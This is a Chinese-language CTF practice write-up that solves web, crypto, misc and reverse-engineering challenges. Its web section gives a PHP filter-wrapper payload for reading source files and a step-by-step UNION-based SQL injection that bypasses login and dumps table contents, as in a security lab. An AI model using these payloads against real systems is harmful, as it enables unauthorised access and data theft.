第五周 4.1
目录
WEB
[极客大挑战 2019]Secret
打开环境
没有想法 查看源代码
发现跳转
我们进入页面查看
有一个点击按钮 然后我们进行点击
说结束了 我们就进行抓包
得到一个新的页面 我们进行访问
进入得到源代码 进行代码审计 发现flag 并且过滤了一些伪协议
我们使用filter伪协议查看
secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
返回数值 然后进行解密
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{48aa1a90-6ce2-4b9c-8e07-1c71d8361cda}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
得到flag
[极客大挑战 2019]LoveSQL
打开环境
我们查看什么类型的注入
输入1' 得到反馈 是字符型注入
我们进行查看万能代码
用户名 :1'or 1=1#
密码随便
我们继续提交 发现flag错误 我们重新返回注入 因为得到了admin 正确的用户名 我们就可以尝试进行sql注入
admin' order by 4#
三个字段
查看回显点
0' union select 1,2,3#
得到回显点 我们在2 3 进行sql注入
爆数据库
0' union select 1,2,database()#
爆表名
0' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()#
爆字段
0' union select 1,2,group_concat(column_name)from information_schema.columns where table_name ='l0ve1ysq1'#
爆出内容
0' union select 1,2,group_concat(id,username,password)from geek.l0ve1ysq1#
得到flag
Crypto
变异凯撒
凯撒密码 打开ASCII对比
afZ_r9VYfScOeO_UL^RWUc
=flag{}
a = 97 f=102 差5
f=102 l=108 差6
发现差 5+n个
编写脚本
a = 'afZ_r9VYfScOeO_UL^RWUc'
flag = ''
p = 0
for i in a:
flag+=chr(ord(i)+5+p)
p+=1
print(flag)
得到flag
flag{Caesar_variation}
Quoted-printable
新品种 我们进行搜索
得到在线解码
我们查看这种编码原理
8 bit 的字符用两个16进制数值表示,然后在前面加“=”。
Misc
基础破解
![](https://img-blog.csdnimg.cn/c38a5be6d75b4d21bec3874e5173b610.png)
告诉我们四个数字
暴力破解
ZmxhZ3s3MDM1NDMwMGE1MTAwYmE3ODA2ODgwNTY2MWI5M2E1Y30=
base64解码
文件中的秘密
下载文件到属性中
得到flag
Reverse
helloword
下载文件 是apk 安卓文件 放入jadx中
搜索flag{
得到
reverse3
下载文件查壳 没有加壳 然后放入ida32
SHIDT+F12
过滤字符串
发现有关flag的 我们进行
CTRL+X
查看使用
我们看到关键的right flag的地方
if ( !strncmp(Dest, Str2, v2) )
sub_41132F("rigth flag!\n");
判断dest和str2是不是一样的 如果一样输出right flag
就是用户输入flag 经过转换后 如果和str2一样
那么就是正确的flag
我们找Dest的内容
strncpy(Dest, v1, 0x28u);
v8 = j_strlen(Dest);
for ( j = 0; j < v8; ++j )
Dest[j] += j;
将v1 copy给dest
循环 v8次然后将 dest[j]=dest[j]+j
就是
dest[0]=dest[0]+0
dest[1]=dest[1]+1
所以我们的flag
flag+=dest[j]-j
我们查看str2的内容 双击str2
得到比对的字符串
我们得到这些可以开始写exp了
但是前面还有语句
v1 = (const char *)sub_4110BE((int)&Str, v0, (int)&v11);
对v1的判断 因为是把v1赋值给dest的 所以我们要看这是什么函数
我们双击进入sub_4110BE 看看做了什么
好长 我们继续看看函数是什么
双击进这个
发现就是base64编码 那我们就可以猜测这就是将FLAG进行base64
1.用户输入 flag
2.flag base64 加密
3.加密后 数组每一个都加1
即 dest[j]+=j
4.进行比对 成功就输出right flag
我们进行写 exp
import base64
a = "e3nifIH9b_C@n@dH"
flag = ""
for i in range(len(a)):
flag+= chr(ord(a[i])-i)
# print(flag)
print(base64.b64decode(flag))
得到flag
b'{i_l0ve_you}'